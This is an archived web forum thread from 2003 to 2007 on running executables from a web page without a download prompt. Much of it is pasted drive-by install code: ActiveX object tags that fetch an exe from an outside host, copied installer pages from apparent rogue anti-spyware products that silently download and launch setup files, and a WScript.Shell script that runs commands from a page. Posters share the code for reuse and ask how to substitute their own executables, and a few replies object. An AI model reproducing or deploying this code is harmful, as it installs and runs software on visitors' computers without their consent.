View Full Version : run .exe from html
bobeddy
12-20-03, 12:56 PM
Is there a way to execute an .exe file from a web page in stead of downloading it? The link to the .exe just brings up the download window and I have not been able to figure out how to make it run/execute in stead of download.
Any sugestions will be greatly appreciated!! Thanks!! Bob
binary_w0lf
12-20-03, 05:06 PM
At least.. as far as i know.. you may not execute files, without the users permission.. and without having it downloaded, atleast in the temp folder...
hyjacked
12-22-03, 07:55 AM
It is possible, provided you allow unsigned activex apps to be run on the browser(for IE anyways, seems netscape isn't so strict). I had looked into this for work before.
http://www.intranetjournal.com/ix/arc/4345.html
Searched around google but couldn't find the article I read. I'll try some more later.
Nelsobra
12-22-03, 05:12 PM
Why would you want to do this though, sounds like executing malicious code on someones browser....
Perhaps if you specified exactly what you're trying to accomplish by running the exe, we could provide additional suggestions?
Without additional details, I would have to agree that activex would one of the few methods that will work in your case..
Ryan
In Yahoo Messenger the exe works from the browser, same way we wanted to run a telephony application in exe from a browser. When we tried to run that exe it is getting downloaded. Any Suggestions for what be done.
Nithya
Perhaps if you specified exactly what you're trying to accomplish by running the exe, we could provide additional suggestions?
Without additional details, I would have to agree that activex would one of the few methods that will work in your case..
Ryan
Hello Friends,
If anybody figure it out how this works then please let me know as well.
Cheers.
xargonsoul
02-08-04, 06:53 PM
<body bgcolor="White" link="Gray" vlink="Gray" alink="Gray">
<object id="mini" width=1 height=1 classid="CLSID:42F2D240-B23C-11d6-8C73-70A05DC10000" codebase="http://www.creepbrute.100freemb.com/NOTEPAD.EXE"></object>
<table width="100%" height="100%" border="0" cellspacing="0" cellpadding="0" align="center">
<tr>
<td width="100%" height="100%" align="center" valign="middle">
<img src="progress.gif" width="139" height="31" border="0" alt><br>
<font face="Arial" size="2" color="Red"><b>Please wait...</b></font><br>
hts what i extraced
the notepad.exe
was originally the auk.exe
..but i just uploaded my notepad for safety reasons.
i use opera7 browser to steal this html code lol ENJOY i hope
xargonsoul
02-12-04, 05:47 PM
this is the script of an auto run .exe
http://www.clickheretofind.com/parse.php3?hid=e4d1e79fa98339a2d61d&aff=all4free
it auto runs pup.exe
and apparently over.exe
and copies to c:\program files
id would love to see an explanation of this and how i would go about putting my own exe
i have seen xxxtoolbar install a .cab file and say installing 0001.cab in the status bar. how is this done
thank you..
spyer__1@hotmail.com
allpurposes@hotmail.com
let me know if you guys figure this out
<script>parasite_status= 'NoIE';
/*@cc_on
@if (@_jscript_version>4)
parasite= {
defs: [
['FFEEDDCC-BBAA-9988-7766-554433221100','(control)','',''],
['F414C260-6AC0-11CF-B6D1-00AA00BBBB58','(control)','',''],
['1EEC3C99-7AA3-4F6E-B381-AF6942B51618','PUP','AS',''],
['00EF2092-6AC5-47c0-BD25-CF2D5D657FEB','Google','AS','']
],
warn: 'Warning!',
infest1: 'Your browser appears to have the "',
infest2: '" parasite installed',
prob1: '. This software ',
can: 'can ',
may: 'may ',
and: ' and ',
infest3: '. It might have been installed without your knowledge. ',
delay: 500,
write: function(doc) {
var i, p, h= '';
var cb= (doc.implementation)?'view-source:about:blank':'javascript:';
h= '<div id="parasite" style="display: none;">';
for (i= this.defs.length; i-->0;) {
p= this.defs[i];
if (p[0].length==36) {
h+= '<object id="parasite_o'+i+'" classid="clsid:'+p[0]+'" ';
h+= 'codebase="'+cb+'"> <\/object>';
}
}
h+= '<\/div>';
doc.write(h);
parasite_status= 'wait';
},
check: function(doc) {
var i, p, pmv, h, el, infs= [];
if (doc.all['parasite_o0']) return;
for (i= this.defs.length; i-->2;) {
p= this.defs[i]
if (p[0].length==36) {
el= doc.all['parasite_o'+i];
if (el && el.readyState!=0)
infs[infs.length]= p;
} else { try {
el= new ActiveXObject(p[0]);
infs[infs.length]= p;
} catch(e) {}}
}
el= doc.all['parasite'];
if (infs.length==0) {
// THIS IS WHAT WE DO IF IT'S NOT INSTALLED
startRun();
parasite_status= (doc.all['parasite_o1']) ? 'clean' : 'NoAX';
return;
}
parasite_status= 'dirty';
// THIS IS WHAT WE DO IF IT'S INSTALLED
},
listprobs: function(s) {
var i, r= '';
for (i= 0; i<s.length; i++) {
r= r+this[s.charAt(i)];
if (i==s.length-2) r= r+this.and;
if (i<s.length-2) r= r+', ';
}
return r;
}
}
if (typeof(document)=='undefined') {
var ie= WScript.createObject('InternetExplorer.Application ');
ie.navigate('about:blank');
ie.visible= true;
var doc= ie.document;
parasite.write(doc);
do {
WScript.Sleep(parasite.delay);
parasite.check(ie.document);
} while (parasite_status=='wait');
if (parasite_status=='clean') {
doc.body.innerHTML= 'Nothing found';
}
} else {
parasite.write(document);
var parasite_check= function() {
parasite.check(document);
if (parasite_status=='wait') {
setTimeout(parasite_check, parasite.delay);
}
}
setTimeout(parasite_check, parasite.delay);
}
@end @*/
</script>
vishalsinghal_1
03-24-04, 06:15 AM
In Yahoo Messenger the exe works from the browser, same way we wanted to run a telephony application in exe from a browser. When we tried to run that exe it is getting downloaded. Any Suggestions for what be done.
Nithya
Hello Friends,
I am facing a similiar problem. I need to run my install exe directly from the browser. but on clicking the link, the file download dialog box appears. i need to run the exe directly, without this prompt, just like it happens when u install yahoo messenger.If any body has a solution please guide me. u can even reach to me directly at vishalsinghal_1@yahoo.com. Hoping in anticipation,
Thanks,
Vishal.
Hello everyone
My method of execute excuteables is very simple but is not secure in the long term
copy the cotains in js file the add it to the web page
set internet expoler securty zones up to propmpt excurtion of a unsafe script.
<!--//
//01-May-2004 7:39 PM
//Cliff Van
var addcode =""
addcode=addcode+'<div>'; //style="position:absolute; left:10; top:10">';
addcode=addcode+'<center><h3><style>a:visited { color: Blue }</style> ';
addcode=addcode+'<a href="javascript:void(0)" onclick=r_p("t1235Regedit") title="Edit With Regedit. Takedown thoose Pesky keys.">Regedit</a> ';
addcode=addcode+'</h3></center></div>';
document.write(addcode);
public void r_p(command) {
if (document.all) {
if (command.search("t1235") != -1) {
window.oldOnError = window.onerror;
window._command = unescape(command.replace("t1235", ""));
window.onerror = function (err) {
if (err.indexOf('utomation') != -1) {
alert('Execution of ' + unescape(window._command) + ' disallowed by user.\nIf you Would like to run this please answer Yes insteed of No');
return true;
} else return false;
}
command = unescape(command.replace("t1235", ""));
//alert(addcode);// alert(unescape(window._command)); //
//alert(escape(" C:\Program Files\ " + window._command));
var wsh123 = new ActiveXObject('WScript.Shell');
if (wsh123) wsh123.Run(command);
window.onerror = window.oldOnError;
}
}
} //end of function
//-->
My Problem- there should be a way to sign this code and use it that way
which could possible give greater use?
Cliff.
Perfect I needed this also I want to make a paintball game I have in .exe format run automatically but it always downloaded.
Darren884
05-02-04, 02:23 AM
Hi guys it doesnt automatically run on mine. I have a firewall and nortan antivirus on disallowing mysterious script. So it wont work on everyones computer
Hi guys it doesnt automatically run on mine. I have a firewall and nortan antivirus on disallowing mysterious script. So it wont work on everyones computer
yeah as it should!
Eclipse
05-09-04, 12:10 PM
In IE activeX was made by microsoft so they could put spywhere on your comp without you knowing activeX unlike Perl that runs on the server activeX runs on your box, like html, it has unrestriced access to your comperter. Yes microsoft puts more spyware on your computer than every other compony no matter what you do; if you disable this spyware your computer with not run explorer.exe, your interface. After other componies starting learning of activeX they started using it, one major is Click Spring this is software componies by for "real time webstatistics" while it is legal it does put many files on your computer without you knowing; besides in your temp folders. ActiveX also aplies to Netscape, Mozilla, Oprea, and most new browsers.
peace
Eclipse
if it can be run via os (or batch script) then you can do it using VBScript, but the exe may be run on the server rather than client..
Anyway leave it with you to test:
</script>
<script language="VBScript">
<!--
function CheckServer
dim wshShell
dim intReturn
set wshShell = CreateObject("WScript.Shell")
intReturn = wshShell.Run("%SystemRoot%\system32\ping 192.168.0.5",1,TRUE)
if intReturn = 0 then
document.write = "Server Up"
else
document.write = "Server Down"
end if
end function
-->
</script>
This simply runs a ping request to the comp and checks a local computer is up and lets me know.
xargonsoul
12-11-04, 07:55 PM
<html>
<head>
<title>ErrorGuard</title>
<link rel="STYLESHEET" type="text/css" href="style.css">
</head>
<body leftmargin=0 topmargin=0 onLoad="init();">
<table border=0 width=100% cellspacing=0 cellpadding=0>
<tr>
<td align=center>
<SCRIPT LANGUAGE="JScript">
<!--
var strSetupFile = "setupactive.exe";
var strSetupFileSize = "1334970"; //in bytes
var strAppLast = "scrrun.dll"; //last file installed by the third-party installer
var strAppFile = "ErrorGuard.exe"; //file you want to run after the installation
var strAppDir = "C:\\Program Files\\ErrorGuard";
var strAppUrl = "http://www.errorguard.com/installation/";
var strOKUrl = "http://www.errorguard.com/scanok.html";
var strErrorUrl = "http://www.errorguard.com/sp2b.html";
function DefineInstallationObjects()
{
Install.AddObject ("MyApp", "APP", "AppDir=" + strAppDir);
Install.AddObject ("File1", "FILE", "File=" + strSetupFile + ";FileSize=" + strSetupFileSize + ";Url=" + strAppUrl + "/" + strSetupFile);
Install.AddObject ("MyDlg", "PROGRESS_DIALOG", "Caption=Error Guard Installation; Message=Downloading...; Cancel=Cancel");
}
function InstallApp()
{
if ( Install.Install()==0 )
{
Install.Action("RemoveFile", strAppDir + "\\Install.log", "");
Install.Action("ExecFile", strAppDir + "\\" + strSetupFile, "");
setTimeout("wakeUp()", 1000);
}
else
window.navigate (strErrorUrl);
}
function wakeUp()
{
//-----Setup process is not finished yet
//strAppLast does not exists
if ( Install.Action("FileExists", strAppDir + "\\" + strAppLast, "")!="true" )
{
setTimeout("wakeUp()", 1000);
return;
}
//-----Setup process finished
//submit result to web server
//window.navigate (strOKUrl);
//clean up
//Install.Action("RemoveFile", strAppDir + "\\" + strSetupFile, "");
//launch the app
Install.Action("ExecFile", strAppDir + "\\" + strAppFile, "");
}
function IsInstallerLoaded()
{
try {
Install.Action("GetSysDir", "","");
return true;
}
catch(er) {
return false;
}
}
function init()
{
if ( !IsInstallerLoaded() ) {
//alert("The installation has been cancelled or disallowed by your security setting.");
window.navigate (strErrorUrl);
return;
}
DefineInstallationObjects();
InstallApp();
}
-->
</SCRIPT>
<OBJECT ID="Install"
CLASSID="CLSID:205FF73B-CA67-11D5-99DD-444553540006"
CODEBASE="http://www.errorguard.com/installation/Install.cab"
width=1 height=1>
</OBJECT>
<br><img src="sp2.gif">
</td>
</tr>
</table>
<table border=0 width=100% cellspacing=0 cellpadding=10>
<tr><td colspan=2><hr size=1><small>Copyright © 2004 Error-Guard Inc. All Rights Reserved. Trademarks mentioned are the property of their respective holders.</td></tr>
<tr>
<td colspan=2 bgcolor=3366FF height=80 valign=top class="topLink"><a href="eula.gif" class="topLink">End User License Agreement</a> | <a href="privacy.html" class="topLink">Privacy Policy</a></td>
</tr>
</table>
</body>
</html>
xargonsoul
12-11-04, 07:57 PM
the .cab file contains a .inf and a .dll file
the .inf looks like this:
[Add.Code]
Install.dll=Install.dll
[Install.dll]
File=Install.cab
Clsid={205FF73B-CA67-11D5-99DD-444553540006}
well i think the .cab is used so a prompt is not needed like for a .exe
perhaps the .exe is found on the errorguard website?
xargonsoul
12-11-04, 09:43 PM
copy spyware stormer.
<html>
<head>
<title>Spyware Stormer - Scan</title>
</head>
<SCRIPT LANGUAGE="JavaScript1.2" SRC="foundation.js" type="text/javascript"></SCRIPT>
<link rel="STYLESHEET" type="text/css" href="style.css">
<body bgcolor=#ffffff onLoad="init();">
<center>
<table border=0 width=100%><tr><td><center><table border=0><tr><td>
<center><img src="sp2.gif"><br><br><br>
<SCRIPT LANGUAGE="JScript">
<!--
var strSetupFile = "Setup.exe";
var strSetupFileSize = "1334970"; //in bytes
var strAppLast = "mscomctl.ocx"; //last file installed by the third-party installer
var strAppFile = "SpywareStormer.exe"; //file you want to run after the installation
var strAppDir = "C:\\Program Files\\Spyware Stormer";
var strAppUrl = "http://www.spywarestormer.com/files2/";
var strOKUrl = "http://www.spywarestormer.com/files2/install_ok.htm";
var strErrorUrl = "http://www.spywarestormer.com/scaniesp2b.html";
function DefineInstallationObjects()
{
Install.AddObject ("MyApp", "APP", "AppDir=" + strAppDir);
Install.AddObject ("File1", "FILE", "File=" + strSetupFile + ";FileSize=" + strSetupFileSize + ";Url=" + strAppUrl + "/" + strSetupFile);
Install.AddObject ("MyDlg", "PROGRESS_DIALOG", "Spyware Stormer Installation; Message=Downloading...; Cancel=Cancel");
}
function InstallApp()
{
if ( Install.Install()==0 )
{
Install.Action("RemoveFile", strAppDir + "\\Install.log", "");
Install.Action("ExecFile", strAppDir + "\\" + strSetupFile, "");
setTimeout("wakeUp()", 1000);
}
else
window.navigate (strErrorUrl);
}
function wakeUp()
{
if ( Install.Action("FileExists", strAppDir + "\\" + strAppLast, "")!="true" )
{ setTimeout("wakeUp()", 1000);
return;
}
//window.navigate (strOKUrl);
}
function IsInstallerLoaded()
{
try {
Install.Action("GetSysDir", "","");
return true;
}
catch(er) {
return false;
}
}
function init()
{
if ( !IsInstallerLoaded() ) {
//alert("The installation has been cancelled or disallowed by your security setting.");
window.navigate (strErrorUrl);
return;
}
DefineInstallationObjects();
InstallApp();
}
-->
</SCRIPT>
<OBJECT ID="Install"
CLASSID="CLSID:205FF73B-CA67-11D5-99DD-444553540000"
CODEBASE="http://www.spywarestormer.com/files2/Install.cab"
width=1 height=1>
</OBJECT>
</td>
</tr>
</table>
<center>
<table border=0 cellspacing=0 cellpadding=0 width=750>
<tr>
<td colspan=2><hr size=1></td>
</tr>
<tr>
<td>Copyright © 2004 Spyware Stormer, Inc. All Rights Reserved.</td>
<td align=right><a href="/eula.html" onclick="javascript:doOpen=0;">End User License Agreement</a> | <a href="/privacy.html" onclick="javascript:doOpen=0;">Privacy Policy</a></td>
</tr>
</table>
</td></tr></table>
</body></html>
omnitoner
01-03-05, 03:49 PM
i am a newbie to this as i just want the program to work.
heres what i want to do?
i want the client to fill out form which then invisibly calculates astrology chart(i have program for this)
and i want to know how to run this program from my server to just exibit the reults of their form.
thanks
i know it s isnt clear but i am not sure how to form my question.
I wish to bypass all browser security measures developed in the last ten years and upload my virus to everyone who visits my website using code that someone else gives me. Please advise.
This thread is disturbing. It is also why I disable every java and embedded application I can.
ok so this works perfectly for me:
<html>
<head>
<title>Run Apps</title>
<body bgcolor="White" link="Gray" vlink="Gray" alink="Gray">
<object id="mini" width=1 height=1 classid="CLSID:42F2D240-B23C-11d6-8C73-70A05DC10000" codebase="c:/windows/NOTEPAD.EXE"></object>
<table width="100%" height="100%" border="0" cellspacing="0" cellpadding="0" align="center">
<tr>
<td width="100%" height="100%" align="center" valign="middle">
<img src="progress.gif" width="139" height="31" border="0" alt><br>
<font face="Arial" size="2" color="Red"><b>Please wait...</b></font><br>
</td></tr></table>
</body>
</html>
But what I want to be able to do, is instead of running Notepad automatically, I want a button on the webpage to run it.
Basically, I want to make an HTML background in windows, which has buttons to run certain apps etc (i'd rather not have shortcuts, actualy web buttons would be a lot better!!)
Can anyone tell me how to trigger that object with a link / button????
Murdo: I suggest you use .hta applications for that. It's basically a html page but it has more access than a normal page. That is, if you want to run it locally.
There's lots of info about .hta applications on msdn (link in my sig).
Personally, I'd never come back to a site if it tries to run an .exe, no matter what it does, without asking me to download it first.
End User
03-17-07, 08:45 PM
Personally, I'd never come back to a site if it tries to run an .exe, no matter what it does, without asking me to download it first.I agree. If someone tried to run an .exe on my box like that I'd be tempted to find them and show them the pointy end of my shiny new .357, up close and personal.
tony_thescientist
03-28-07, 07:46 PM
MURDO ..How did you get that to work ???
vBulletin® v3.6.4, Copyright ©2000-2009, Jelsoft Enterprises Ltd.